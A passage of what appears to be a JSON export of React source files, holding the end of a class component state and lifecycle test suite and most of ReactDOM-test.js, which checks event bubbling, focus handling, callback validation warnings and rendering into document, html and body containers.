    'componentDidUpdate-prevState blue',\n      'forceUpdate blue',\n      'commit blue',\n    ]);\n\n    root.unmount();\n\n    assertLog([\n      // unmount()\n      // state is available within `componentWillUnmount()`\n      'componentWillUnmount blue',\n    ]);\n  });\n\n  it('should call componentDidUpdate of children first', async () => {\n    const container = document.createElement('div');\n\n    let child = null;\n    let parent = null;\n\n    class Child extends React.Component {\n      state = {bar: false};\n      componentDidMount() {\n        child = this;\n      }\n      componentDidUpdate() {\n        Scheduler.log('child did update');\n      }\n      render() {\n        return <div />;\n      }\n    }\n\n    let shouldUpdate = true;\n\n    class Intermediate extends React.Component {\n      shouldComponentUpdate() {\n        return shouldUpdate;\n      }\n      render() {\n        return <Child />;\n      }\n    }\n\n    class Parent extends React.Component {\n      state = {foo: false};\n      componentDidMount() {\n        parent = this;\n      }\n      componentDidUpdate() {\n        Scheduler.log('parent did update');\n      }\n      render() {\n        return <Intermediate />;\n      }\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<Parent />);\n    });\n\n    await act(() => {\n      parent.setState({foo: true});\n      child.setState({bar: true});\n    });\n\n    // When we render changes top-down in a batch, children's componentDidUpdate\n    // happens before the parent.\n    assertLog(['child did update', 'parent did update']);\n\n    shouldUpdate = false;\n\n    await act(() => {\n      parent.setState({foo: false});\n      child.setState({bar: false});\n    });\n\n    // We expect the same thing to happen if we bail out in the middle.\n    assertLog(['child did update', 'parent did update']);\n  });\n\n  it('should batch unmounts', async () => {\n    let outer;\n    class Inner extends React.Component {\n      render() {\n        return <div />;\n      }\n\n      componentWillUnmount() {\n        // This should get silently ignored (maybe with a warning), but it\n        // shouldn't break React.\n        outer.setState({showInner: false});\n      }\n    }\n\n    class Outer extends React.Component {\n      state = {showInner: true};\n      componentDidMount() {\n        outer = this;\n      }\n\n      render() {\n        return <div>{this.state.showInner && <Inner />}</div>;\n      }\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<Outer />);\n    });\n\n    expect(() => {\n      root.unmount();\n    }).not.toThrow();\n  });\n\n  it('should update state when called from child cWRP', async () => {\n    class Parent extends React.Component {\n      state = {value: 'one'};\n      render() {\n        Scheduler.log('parent render ' + this.state.value);\n        return <Child parent={this} value={this.state.value} />;\n      }\n    }\n    let updated = false;\n    class Child extends React.Component {\n      UNSAFE_componentWillReceiveProps() {\n        if (updated) {\n          return;\n        }\n        Scheduler.log('child componentWillReceiveProps ' + this.props.value);\n        this.props.parent.setState({value: 'two'});\n        Scheduler.log(\n          'child componentWillReceiveProps done ' + this.props.value,\n        );\n        updated = true;\n      }\n      render() {\n        Scheduler.log('child render ' + this.props.value);\n        return <div>{this.props.value}</div>;\n      }\n    }\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<Parent />);\n    });\n\n    assertLog(['parent render one', 'child render one']);\n    await act(() => {\n      root.render(<Parent />);\n    });\n\n    assertLog([\n      'parent render one',\n      'child componentWillReceiveProps one',\n      'child componentWillReceiveProps done one',\n      'child render one',\n      'parent render two',\n      'child render two',\n    ]);\n  });\n\n  it('should merge state when sCU returns false', async () => {\n    let test;\n    class Test extends React.Component {\n      state = {a: 0};\n      componentDidMount() {\n        test = this;\n      }\n\n      render() {\n        return null;\n      }\n      shouldComponentUpdate(nextProps, nextState) {\n        Scheduler.log(\n          'scu from ' +\n            Object.keys(this.state) +\n            ' to ' +\n            Object.keys(nextState),\n        );\n        return false;\n      }\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<Test />);\n    });\n    await act(() => {\n      test.setState({b: 0});\n    });\n\n    assertLog(['scu from a to a,b']);\n    await act(() => {\n      test.setState({c: 0});\n    });\n    assertLog(['scu from a,b to a,b,c']);\n  });\n\n  it('should treat assigning to this.state inside cWRP as a replaceState, with a warning', async () => {\n    class Test extends React.Component {\n      state = {step: 1, extra: true};\n      UNSAFE_componentWillReceiveProps() {\n        this.setState({step: 2}, () => {\n          // Tests that earlier setState callbacks are not dropped\n          Scheduler.log(\n            `callback -- step: ${this.state.step}, extra: ${!!this.state\n              .extra}`,\n          );\n        });\n        // Treat like replaceState\n        this.state = {step: 3};\n      }\n      render() {\n        Scheduler.log(\n          `render -- step: ${this.state.step}, extra: ${!!this.state.extra}`,\n        );\n        return null;\n      }\n    }\n\n    // Mount\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<Test />);\n    });\n    // Update\n    ReactDOM.flushSync(() => {\n      root.render(<Test />);\n    });\n    assertConsoleErrorDev([\n      'Test.componentWillReceiveProps(): Assigning directly to ' +\n        \"this.state is deprecated (except inside a component's constructor). \" +\n        'Use setState instead.\\n' +\n        '    in Test (at **)',\n    ]);\n\n    assertLog([\n      'render -- step: 1, extra: true',\n      'render -- step: 3, extra: false',\n      'callback -- step: 3, extra: false',\n    ]);\n\n    // Check deduplication; (no additional warnings are expected)\n    expect(() => {\n      ReactDOM.flushSync(() => {\n        root.render(<Test />);\n      });\n    }).not.toThrow();\n  });\n\n  it('should treat assigning to this.state inside cWM as a replaceState, with a warning', () => {\n    class Test extends React.Component {\n      state = {step: 1, extra: true};\n      UNSAFE_componentWillMount() {\n        this.setState({step: 2}, () => {\n          // Tests that earlier setState callbacks are not dropped\n          Scheduler.log(\n            `callback -- step: ${this.state.step}, extra: ${!!this.state\n              .extra}`,\n          );\n        });\n        // Treat like replaceState\n        this.state = {step: 3};\n      }\n      render() {\n        Scheduler.log(\n          `render -- step: ${this.state.step}, extra: ${!!this.state.extra}`,\n        );\n        return null;\n      }\n    }\n\n    // Mount\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    ReactDOM.flushSync(() => {\n      root.render(<Test />);\n    });\n    assertConsoleErrorDev([\n      'Test.componentWillMount(): Assigning directly to ' +\n        \"this.state is deprecated (except inside a component's constructor). \" +\n        'Use setState instead.\\n' +\n        '    in Test (at **)',\n    ]);\n\n    assertLog([\n      'render -- step: 3, extra: false',\n      'callback -- step: 3, extra: false',\n\n      // A second time for the retry.\n      'render -- step: 3, extra: false',\n      'callback -- step: 3, extra: false',\n    ]);\n  });\n\n  it('should not support setState in componentWillUnmount', async () => {\n    let subscription;\n    class A extends React.Component {\n      componentWillUnmount() {\n        subscription();\n      }\n      render() {\n        return 'A';\n      }\n    }\n\n    class B extends React.Component {\n      state = {siblingUnmounted: false};\n      UNSAFE_componentWillMount() {\n        subscription = () => this.setState({siblingUnmounted: true});\n      }\n      render() {\n        return 'B' + (this.state.siblingUnmounted ? ' No Sibling' : '');\n      }\n    }\n\n    const el = document.createElement('div');\n    const root = ReactDOMClient.createRoot(el);\n    await act(() => {\n      root.render(<A />);\n    });\n    expect(el.textContent).toBe('A');\n\n    ReactDOM.flushSync(() => {\n      root.render(<B />);\n    });\n    assertConsoleErrorDev([\n      \"Can't perform a React state update on a component that hasn't mounted yet. \" +\n        'This indicates that you have a side-effect in your render function that ' +\n        'asynchronously tries to update the component. ' +\n        'Move this work to useEffect instead.\\n' +\n        '    in B (at **)',\n    ]);\n  });\n\n  // @gate !disableLegacyMode\n  it('Legacy mode should support setState in componentWillUnmount (#18851)', () => {\n    let subscription;\n    class A extends React.Component {\n      componentWillUnmount() {\n        subscription();\n      }\n      render() {\n        return 'A';\n      }\n    }\n\n    class B extends React.Component {\n      state = {siblingUnmounted: false};\n      UNSAFE_componentWillMount() {\n        subscription = () => this.setState({siblingUnmounted: true});\n      }\n      render() {\n        return 'B' + (this.state.siblingUnmounted ? ' No Sibling' : '');\n      }\n    }\n\n    const el = document.createElement('div');\n    ReactDOM.render(<A />, el);\n    expect(el.textContent).toBe('A');\n\n    ReactDOM.render(<B />, el);\n    expect(el.textContent).toBe('B No Sibling');\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactDOM-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nlet React;\nlet ReactDOM;\nlet findDOMNode;\nlet ReactDOMClient;\nlet ReactDOMServer;\nlet assertConsoleErrorDev;\nlet act;\n\ndescribe('ReactDOM', () => {\n  beforeEach(() => {\n    jest.resetModules();\n    React = require('react');\n    ReactDOM = require('react-dom');\n    ReactDOMClient = require('react-dom/client');\n    ReactDOMServer = require('react-dom/server');\n    findDOMNode =\n      ReactDOM.__DOM_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE\n        .findDOMNode;\n\n    ({act, assertConsoleErrorDev} = require('internal-test-utils'));\n  });\n\n  it('should bubble onSubmit', async () => {\n    const container = document.createElement('div');\n\n    let count = 0;\n    let buttonRef;\n\n    function Parent() {\n      return (\n        <div\n          onSubmit={event => {\n            event.preventDefault();\n            count++;\n          }}>\n          <Child />\n        </div>\n      );\n    }\n\n    function Child() {\n      return (\n        <form>\n          <input type=\"submit\" ref={button => (buttonRef = button)} />\n        </form>\n      );\n    }\n\n    document.body.appendChild(container);\n    const root = ReactDOMClient.createRoot(container);\n    try {\n      await act(() => {\n        root.render(<Parent />);\n      });\n      buttonRef.click();\n      expect(count).toBe(1);\n    } finally {\n      document.body.removeChild(container);\n    }\n  });\n\n  it('allows a DOM element to be used with a string', async () => {\n    const element = React.createElement('div', {className: 'foo'});\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(element);\n    });\n\n    const node = container.firstChild;\n    expect(node.tagName).toBe('DIV');\n  });\n\n  it('should allow children to be passed as an argument', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(React.createElement('div', null, 'child'));\n    });\n\n    const argNode = container.firstChild;\n    expect(argNode.innerHTML).toBe('child');\n  });\n\n  it('should overwrite props.children with children argument', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(React.createElement('div', {children: 'fakechild'}, 'child'));\n    });\n\n    const conflictNode = container.firstChild;\n    expect(conflictNode.innerHTML).toBe('child');\n  });\n\n  /**\n   * We need to make sure that updates occur to the actual node that's in the\n   * DOM, instead of a stale cache.\n   */\n  it('should purge the DOM cache when removing nodes', async () => {\n    let container = document.createElement('div');\n    let root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(\n        <div>\n          <div key=\"theDog\" className=\"dog\" />,\n          <div key=\"theBird\" className=\"bird\" />\n        </div>,\n      );\n    });\n    // Warm the cache with theDog\n    container = document.createElement('div');\n    root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(\n        <div>\n          <div key=\"theDog\" className=\"dogbeforedelete\" />,\n          <div key=\"theBird\" className=\"bird\" />,\n        </div>,\n      );\n    });\n    // Remove theDog - this should purge the cache\n    container = document.createElement('div');\n    root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(\n        <div>\n          <div key=\"theBird\" className=\"bird\" />,\n        </div>,\n      );\n    });\n    // Now, put theDog back. It's now a different DOM node.\n    container = document.createElement('div');\n    root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(\n        <div>\n          <div key=\"theDog\" className=\"dog\" />,\n          <div key=\"theBird\" className=\"bird\" />,\n        </div>,\n      );\n    });\n    // Change the className of theDog. It will use the same element\n    container = document.createElement('div');\n    root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(\n        <div>\n          <div key=\"theDog\" className=\"bigdog\" />,\n          <div key=\"theBird\" className=\"bird\" />,\n        </div>,\n      );\n    });\n\n    const myDiv = container.firstChild;\n    const dog = myDiv.childNodes[0];\n    expect(dog.className).toBe('bigdog');\n  });\n\n  // @gate !disableLegacyMode\n  it('throws in render() if the mount callback in legacy roots is not a function', async () => {\n    spyOnDev(console, 'warn');\n    spyOnDev(console, 'error');\n\n    function Foo() {\n      this.a = 1;\n      this.b = 2;\n    }\n\n    class A extends React.Component {\n      state = {};\n\n      render() {\n        return <div />;\n      }\n    }\n\n    const myDiv = document.createElement('div');\n    await expect(async () => {\n      await act(() => {\n        ReactDOM.render(<A />, myDiv, 'no');\n      });\n    }).rejects.toThrowError(\n      'Invalid argument passed as callback. Expected a function. Instead ' +\n        'received: no',\n    );\n    assertConsoleErrorDev([\n      'Expected the last optional `callback` argument to be a function. Instead received: no.',\n      'Expected the last optional `callback` argument to be a function. Instead received: no.',\n    ]);\n\n    await expect(async () => {\n      await act(() => {\n        ReactDOM.render(<A />, myDiv, {foo: 'bar'});\n      });\n    }).rejects.toThrowError(\n      'Invalid argument passed as callback. Expected a function. Instead ' +\n        'received: [object Object]',\n    );\n    assertConsoleErrorDev([\n      \"Expected the last optional `callback` argument to be a function. Instead received: { foo: 'bar' }\",\n      \"Expected the last optional `callback` argument to be a function. Instead received: { foo: 'bar' }.\",\n    ]);\n\n    await expect(async () => {\n      await act(() => {\n        ReactDOM.render(<A />, myDiv, new Foo());\n      });\n    }).rejects.toThrowError(\n      'Invalid argument passed as callback. Expected a function. Instead ' +\n        'received: [object Object]',\n    );\n    assertConsoleErrorDev([\n      'Expected the last optional `callback` argument to be a function. Instead received: Foo { a: 1, b: 2 }.',\n      'Expected the last optional `callback` argument to be a function. Instead received: Foo { a: 1, b: 2 }.',\n    ]);\n  });\n\n  // @gate !disableLegacyMode\n  it('throws in render() if the update callback in legacy roots is not a function', async () => {\n    function Foo() {\n      this.a = 1;\n      this.b = 2;\n    }\n\n    class A extends React.Component {\n      state = {};\n\n      render() {\n        return <div />;\n      }\n    }\n\n    const myDiv = document.createElement('div');\n    ReactDOM.render(<A />, myDiv);\n    await expect(async () => {\n      await act(() => {\n        ReactDOM.render(<A />, myDiv, 'no');\n      });\n    }).rejects.toThrowError(\n      'Invalid argument passed as callback. Expected a function. Instead ' +\n        'received: no',\n    );\n    assertConsoleErrorDev([\n      'Expected the last optional `callback` argument to be a function. Instead received: no.',\n      'Expected the last optional `callback` argument to be a function. Instead received: no.',\n    ]);\n\n    ReactDOM.render(<A />, myDiv); // Re-mount\n    await expect(async () => {\n      await act(() => {\n        ReactDOM.render(<A />, myDiv, {foo: 'bar'});\n      });\n    }).rejects.toThrowError(\n      'Invalid argument passed as callback. Expected a function. Instead ' +\n        'received: [object Object]',\n    );\n    assertConsoleErrorDev([\n      \"Expected the last optional `callback` argument to be a function. Instead received: { foo: 'bar' }.\",\n      \"Expected the last optional `callback` argument to be a function. Instead received: { foo: 'bar' }.\",\n    ]);\n\n    ReactDOM.render(<A />, myDiv); // Re-mount\n    await expect(async () => {\n      await act(() => {\n        ReactDOM.render(<A />, myDiv, new Foo());\n      });\n    }).rejects.toThrowError(\n      'Invalid argument passed as callback. Expected a function. Instead ' +\n        'received: [object Object]',\n    );\n    assertConsoleErrorDev([\n      'Expected the last optional `callback` argument to be a function. Instead received: Foo { a: 1, b: 2 }.',\n      'Expected the last optional `callback` argument to be a function. Instead received: Foo { a: 1, b: 2 }.',\n    ]);\n  });\n\n  it('preserves focus', async () => {\n    let input;\n    let input2;\n    class A extends React.Component {\n      render() {\n        return (\n          <div>\n            <input id=\"one\" ref={r => (input = input || r)} />\n            {this.props.showTwo && (\n              <input id=\"two\" ref={r => (input2 = input2 || r)} />\n            )}\n          </div>\n        );\n      }\n\n      componentDidUpdate() {\n        // Focus should have been restored to the original input\n        expect(document.activeElement.id).toBe('one');\n        input2.focus();\n        expect(document.activeElement.id).toBe('two');\n        log.push('input2 focused');\n      }\n    }\n\n    const log = [];\n    const container = document.createElement('div');\n    document.body.appendChild(container);\n    const root = ReactDOMClient.createRoot(container);\n    try {\n      await act(() => {\n        root.render(<A showTwo={false} />);\n      });\n      input.focus();\n\n      // When the second input is added, let's simulate losing focus, which is\n      // something that could happen when manipulating DOM nodes (but is hard to\n      // deterministically force without relying intensely on React DOM\n      // implementation details)\n      const div = container.firstChild;\n      ['appendChild', 'insertBefore'].forEach(name => {\n        const mutator = div[name];\n        div[name] = function () {\n          if (input) {\n            input.blur();\n            expect(document.activeElement.tagName).toBe('BODY');\n            log.push('input2 inserted');\n          }\n          return mutator.apply(this, arguments);\n        };\n      });\n\n      expect(document.activeElement.id).toBe('one');\n      await act(() => {\n        root.render(<A showTwo={true} />);\n      });\n      // input2 gets added, which causes input to get blurred. Then\n      // componentDidUpdate focuses input2 and that should make it down to here,\n      // not get overwritten by focus restoration.\n      expect(document.activeElement.id).toBe('two');\n      expect(log).toEqual(['input2 inserted', 'input2 focused']);\n    } finally {\n      document.body.removeChild(container);\n    }\n  });\n\n  it('calls focus() on autoFocus elements after they have been mounted to the DOM', async () => {\n    const originalFocus = HTMLElement.prototype.focus;\n\n    try {\n      let focusedElement;\n      let inputFocusedAfterMount = false;\n\n      // This test needs to determine that focus is called after mount.\n      // Can't check document.activeElement because PhantomJS is too permissive;\n      // It doesn't require element to be in the DOM to be focused.\n      HTMLElement.prototype.focus = function () {\n        focusedElement = this;\n        inputFocusedAfterMount = !!this.parentNode;\n      };\n\n      const container = document.createElement('div');\n      document.body.appendChild(container);\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(\n          <div>\n            <h1>Auto-focus Test</h1>\n            <input autoFocus={true} />\n            <p>The above input should be focused after mount.</p>\n          </div>,\n        );\n      });\n\n      expect(inputFocusedAfterMount).toBe(true);\n      expect(focusedElement.tagName).toBe('INPUT');\n    } finally {\n      HTMLElement.prototype.focus = originalFocus;\n    }\n  });\n\n  it(\"shouldn't fire duplicate event handler while handling other nested dispatch\", async () => {\n    const actual = [];\n\n    class Wrapper extends React.Component {\n      componentDidMount() {\n        this.ref1.click();\n      }\n\n      render() {\n        return (\n          <div>\n            <div\n              onClick={() => {\n                actual.push('1st node clicked');\n                this.ref2.click();\n              }}\n              ref={ref => (this.ref1 = ref)}\n            />\n            <div\n              onClick={ref => {\n                actual.push(\"2nd node clicked imperatively from 1st's handler\");\n              }}\n              ref={ref => (this.ref2 = ref)}\n            />\n          </div>\n        );\n      }\n    }\n\n    const container = document.createElement('div');\n    document.body.appendChild(container);\n    const root = ReactDOMClient.createRoot(container);\n    try {\n      await act(() => {\n        root.render(<Wrapper />);\n      });\n\n      const expected = [\n        '1st node clicked',\n        \"2nd node clicked imperatively from 1st's handler\",\n      ];\n\n      expect(actual).toEqual(expected);\n    } finally {\n      document.body.removeChild(container);\n    }\n  });\n\n  it('should not crash with devtools installed', async () => {\n    try {\n      global.__REACT_DEVTOOLS_GLOBAL_HOOK__ = {\n        inject: function () {},\n        onCommitFiberRoot: function () {},\n        onCommitFiberUnmount: function () {},\n        supportsFiber: true,\n      };\n      jest.resetModules();\n      React = require('react');\n      ReactDOM = require('react-dom');\n      class Component extends React.Component {\n        render() {\n          return <div />;\n        }\n      }\n      const root = ReactDOMClient.createRoot(document.createElement('div'));\n      await act(() => {\n        root.render(<Component />);\n      });\n    } finally {\n      delete global.__REACT_DEVTOOLS_GLOBAL_HOOK__;\n    }\n  });\n\n  it('should not crash calling findDOMNode inside a function component', async () => {\n    class Component extends React.Component {\n      render() {\n        return <div />;\n      }\n    }\n\n    const container = document.createElement('div');\n    let root = ReactDOMClient.createRoot(container);\n    let instance;\n    await act(() => {\n      root.render(<Component ref={current => (instance = current)} />);\n    });\n\n    const App = () => {\n      findDOMNode(instance);\n      return <div />;\n    };\n\n    if (__DEV__) {\n      root = ReactDOMClient.createRoot(document.createElement('div'));\n      await act(() => {\n        root.render(<App />);\n      });\n    }\n  });\n\n  it('reports stacks with re-entrant renderToString() calls on the client', async () => {\n    function Child2(props) {\n      return <span ariaTypo3=\"no\">{props.children}</span>;\n    }\n\n    function App2() {\n      return (\n        <Child2>\n          {ReactDOMServer.renderToString(<blink ariaTypo2=\"no\" />)}\n        </Child2>\n      );\n    }\n\n    function Child() {\n      return (\n        <span ariaTypo4=\"no\">{ReactDOMServer.renderToString(<App2 />)}</span>\n      );\n    }\n\n    function ServerEntry() {\n      return ReactDOMServer.renderToString(<Child />);\n    }\n\n    function App() {\n      return (\n        <div>\n          <span ariaTypo=\"no\" />\n          <ServerEntry />\n          <font ariaTypo5=\"no\" />\n        </div>\n      );\n    }\n\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n    await act(() => {\n      root.render(<App />);\n    });\n    assertConsoleErrorDev([\n      // ReactDOM(App > div > span)\n      'Invalid ARIA attribute `ariaTypo`. ARIA attributes follow the pattern aria-* and must be lowercase.\\n' +\n        '    in span (at **)\\n' +\n        '    in App (at **)',\n      // ReactDOM(App > div > ServerEntry) >>> ReactDOMServer(Child) >>> ReactDOMServer(App2) >>> ReactDOMServer(blink)\n      'Invalid ARIA attribute `ariaTypo2`. ARIA attributes follow the pattern aria-* and must be lowercase.\\n' +\n        '    in blink (at **)\\n' +\n        '    in App2 (at **)\\n' +\n        '    in Child (at **)\\n' +\n        '    in ServerEntry (at **)',\n      // ReactDOM(App > div > ServerEntry) >>> ReactDOMServer(Child) >>> ReactDOMServer(App2 > Child2 > span)\n      'Invalid ARIA attribute `ariaTypo3`. ARIA attributes follow the pattern aria-* and must be lowercase.\\n' +\n        '    in span (at **)\\n' +\n        '    in Child2 (at **)\\n' +\n        '    in App2 (at **)\\n' +\n        '    in Child (at **)\\n' +\n        '    in ServerEntry (at **)',\n      // ReactDOM(App > div > ServerEntry) >>> ReactDOMServer(Child > span)\n      'Invalid ARIA attribute `ariaTypo4`. ARIA attributes follow the pattern aria-* and must be lowercase.\\n' +\n        '    in span (at **)\\n' +\n        '    in Child (at **)\\n' +\n        '    in ServerEntry (at **)',\n\n      // ReactDOM(App > div > font)\n      'Invalid ARIA attribute `ariaTypo5`. ARIA attributes follow the pattern aria-* and must be lowercase.\\n' +\n        '    in font (at **)\\n' +\n        '    in App (at **)',\n    ]);\n  });\n\n  it('should render root host components into body scope when the container is a Document', async () => {\n    function App({phase}) {\n      return (\n        <>\n          {phase < 1 ? null : <div>..before</div>}\n          {phase < 3 ? <div>before</div> : null}\n          {phase < 2 ? null : <div>before..</div>}\n          <html lang=\"en\">\n            <head data-h=\"\">\n              {phase < 1 ? null : <meta itemProp=\"\" content=\"..head\" />}\n              {phase < 3 ? <meta itemProp=\"\" content=\"head\" /> : null}\n              {phase < 2 ? null : <meta itemProp=\"\" content=\"head..\" />}\n            </head>\n            <body data-b=\"\">\n              {phase < 1 ? null : <div>..inside</div>}\n              {phase < 3 ? <div>inside</div> : null}\n              {phase < 2 ? null : <div>inside..</div>}\n            </body>\n          </html>\n          {phase < 1 ? null : <div>..after</div>}\n          {phase < 3 ? <div>after</div> : null}\n          {phase < 2 ? null : <div>after..</div>}\n        </>\n      );\n    }\n\n    const root = ReactDOMClient.createRoot(document);\n    await act(() => {\n      root.render(<App phase={0} />);\n    });\n    expect(document.documentElement.outerHTML).toBe(\n      '<html lang=\"en\"><head data-h=\"\"><meta itemprop=\"\" content=\"head\"></head><body data-b=\"\"><div>before</div><div>inside</div><div>after</div></body></html>',\n    );\n\n    await act(() => {\n      root.render(<App phase={1} />);\n    });\n    expect(document.documentElement.outerHTML).toBe(\n      '<html lang=\"en\"><head data-h=\"\"><meta itemprop=\"\" content=\"..head\"><meta itemprop=\"\" content=\"head\"></head><body data-b=\"\"><div>..before</div><div>before</div><div>..inside</div><div>inside</div><div>..after</div><div>after</div></body></html>',\n    );\n\n    await act(() => {\n      root.render(<App phase={2} />);\n    });\n    expect(document.documentElement.outerHTML).toBe(\n      '<html lang=\"en\"><head data-h=\"\"><meta itemprop=\"\" content=\"..head\"><meta itemprop=\"\" content=\"head\"><meta itemprop=\"\" content=\"head..\"></head><body data-b=\"\"><div>..before</div><div>before</div><div>before..</div><div>..inside</div><div>inside</div><div>inside..</div><div>..after</div><div>after</div><div>after..</div></body></html>',\n    );\n\n    await act(() => {\n      root.render(<App phase={3} />);\n    });\n    expect(document.documentElement.outerHTML).toBe(\n      '<html lang=\"en\"><head data-h=\"\"><meta itemprop=\"\" content=\"..head\"><meta itemprop=\"\" content=\"head..\"></head><body data-b=\"\"><div>..before</div><div>before..</div><div>..inside</div><div>inside..</div><div>..after</div><div>after..</div></body></html>',\n    );\n\n    await act(() => {\n      root.unmount();\n    });\n    expect(document.documentElement.outerHTML).toBe(\n      '<html><head></head><body></body></html>',\n    );\n  });\n\n  it('should render root host components into body scope when the container is a the <html> tag', async () => {\n    function App({phase}) {\n      return (\n        <>\n          {phase < 1 ? null : <div>..before</div>}\n          {phase < 3 ? <div>before</div> : null}\n          {phase < 2 ? null : <div>before..</div>}\n          <head data-h=\"\">\n            {phase < 1 ? null : <meta itemProp=\"\" content=\"..head\" />}\n            {phase < 3 ? <meta itemProp=\"\" content=\"head\" /> : null}\n            {phase < 2 ? null : <meta itemProp=\"\" content=\"head..\" />}\n          </head>\n          <body data-b=\"\">\n            {phase < 1 ? null : <div>..inside</div>}\n            {phase < 3 ? <div>inside</div> : null}\n            {phase < 2 ? null : <div>inside..</div>}\n          </body>\n          {phase < 1 ? null : <div>..after</div>}\n          {phase < 3 ? <div>after</div> : null}\n          {phase < 2 ? null : <div>after..</div>}\n        </>\n      );\n    }\n\n    const root = ReactDOMClient.createRoot(document.documentElement);\n    await act(() => {\n      root.render(<App phase={0} />);\n    });\n    expect(document.documentElement.outerHTML).toBe(\n      '<html><head data-h=\"\"><meta itemprop=\"\" content=\"head\"></head><body data-b=\"\"><div>before</div><div>inside</div><div>after</div></body></html>',\n    );\n\n    await act(() => {\n      root.render(<App phase={1} />);\n    });\n    expect(document.documentElement.outerHTML).toBe(\n      '<html><head data-h=\"\"><meta itemprop=\"\" content=\"..head\"><meta itemprop=\"\" content=\"head\"></head><body data-b=\"\"><div>..before</div><div>before</div><div>..inside</div><div>inside</div><div>..after</div><div>after</div></body></html>',\n    );\n\n    await act(() => {\n      root.render(<App phase={2} />);\n    });\n    expect(document.documentElement.outerHTML).toBe(\n      '<html><head data-h=\"\"><meta itemprop=\"\" content=\"..head\"><meta itemprop=\"\" content=\"head\"><meta itemprop=\"\" content=\"head..\"></head><body data-b=\"\"><div>..before</div><div>before</div><div>before..</div><div>..inside</div><div>inside</div><div>inside..</div><div>..after</div><div>after</div><div>after..</div></body></html>',\n    );\n\n    await act(() => {\n      root.render(<App phase={3} />);\n    });\n    expect(document.documentElement.outerHTML).toBe(\n      '<html><head data-h=\"\"><meta itemprop=\"\" content=\"..head\"><meta itemprop=\"\" content=\"head..\"></head><body data-b=\"\"><div>..before</div><div>before..</div><div>..inside</div><div>inside..</div><div>..after</div><div>after..</div></body></html>',\n    );\n\n    await act(() => {\n      root.unmount();\n    });\n    expect(document.documentElement.outerHTML).toBe(\n      '<html><head></head><body></body></html>',\n    );\n  });\n\n  it('should render root host components into body scope when the container is a the <body> tag', async () => {\n    function App({phase}) {\n      return (\n        <>\n          {phase < 1 ? null : <div>..before</div>}\n          {phase < 3 ? <div>before</div> : null}\n          {phase < 2 ? null : <div>before..</div>}\n          <head data-h=\"\">\n            {phase < 1 ? null : <meta itemProp=\"\" content=\"..head\" />}\n            {phase < 3 ? <meta itemProp=\"\" content=\"head\" /> : null}\n            {phase < 2 ? null : <meta itemProp=\"\" content=\"head..\" />}\n          </head>\n          {phase < 1 ? null : <div>..inside</div>}\n          {phase < 3 ? <div>inside</div> : null}\n          {phase < 2 ? null : <div>inside..</div>}\n          {phase < 1 ? null : <div>..after</div>}\n          {phase < 3 ? <div>after</div> : null}\n          {phase < 2 ? null : <div>after..</div>}\n        </>\n      );\n    }\n\n    const root = ReactDOMClient.createRoot(document.body);\n    await act(() => {\n      root.render(<App phase={0} />);\n    });\n    expect(document.documentElement.outerHTML).toBe(\n      '<html><head data-h=\"\"><meta itemprop=\"\" content=\"head\"></head><body><div>before</div><div>inside</div><div>after</div></body></html>',\n    );\n\n    await act(() => {\n      root.render(<App phase={1} />);\n    });\n    expect(document.documentElement.outerHTML).toBe(\n      '<html><head data-h=\"\"><meta itemprop=\"\" content=\"..head\"><meta itemprop=\"\" content=\"head\"></head><body><div>..before</div><div>before</div><div>..inside</div><div>inside</div><div>..after</div><div>after</div></body></html>',\n    );\n\n    await act(() => {\n      root.render(<App phase={2} />);\n    });\n    expect(document.documentElement.outerHTML).toBe(\n      '<html><head data-h=\"\"><meta itemprop=\"\" content=\"..head\"><meta itemprop=\"\" content=\"head\"><meta itemprop=\"\" content=\"head..\"></head><body><div>..before</div><div>before</div><div>before..</div><div>..inside</div><div>inside</div><div>inside..</div><div>..after</div><div>after</div><div>after..</div></body></html>',\n    );\n\n    await act(() => {\n      root.render(<App phase={3} />);\n    });\n    expect(document.documentElement.outerHTML).toBe(\n      '<html><head data-h=\"\"><meta itemprop=\"\" content=\"..head\"><meta itemprop=\"\" content=\"head..\"></head><body><div>..before</div><div>before..</div><div>..inside</div><div>inside..</div><div>..after</div><div>after..</div></body></html>',\n    );\n\n    await act(() => {\n      root.unmount();\n    });\n    expect(document.documentElement.outerHTML).toBe(\n      '<html><head></head><body></body></html>',\n    );\n  });\n\n  it('should render children of <head> into the document head even when the container is inside the document body', async () => {\n    function App({phase}) {\n      return (\n        <>\n          <div>before</div>\n          <head data-h=\"\">\n            {phase < 1 ? null : <meta itemProp=\"\" content=\"..head\" />}\n            {phase < 3 ? <meta itemProp=\"\" content=\"head\" /> : null}\n            {phase < 2 ? null : <meta itemProp=\"\" content=\"head..\" />}\n          </head>\n          <div>after</div>\n        </>\n      );\n    }\n\n    const container = document.createElement('main');\n    document.body.append(container);\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<App phase={0} />);\n    });\n    expect(document.documentElement.outerHTML).toBe(\n      '<html><head data-h=\"\"><meta itemprop=\"\" 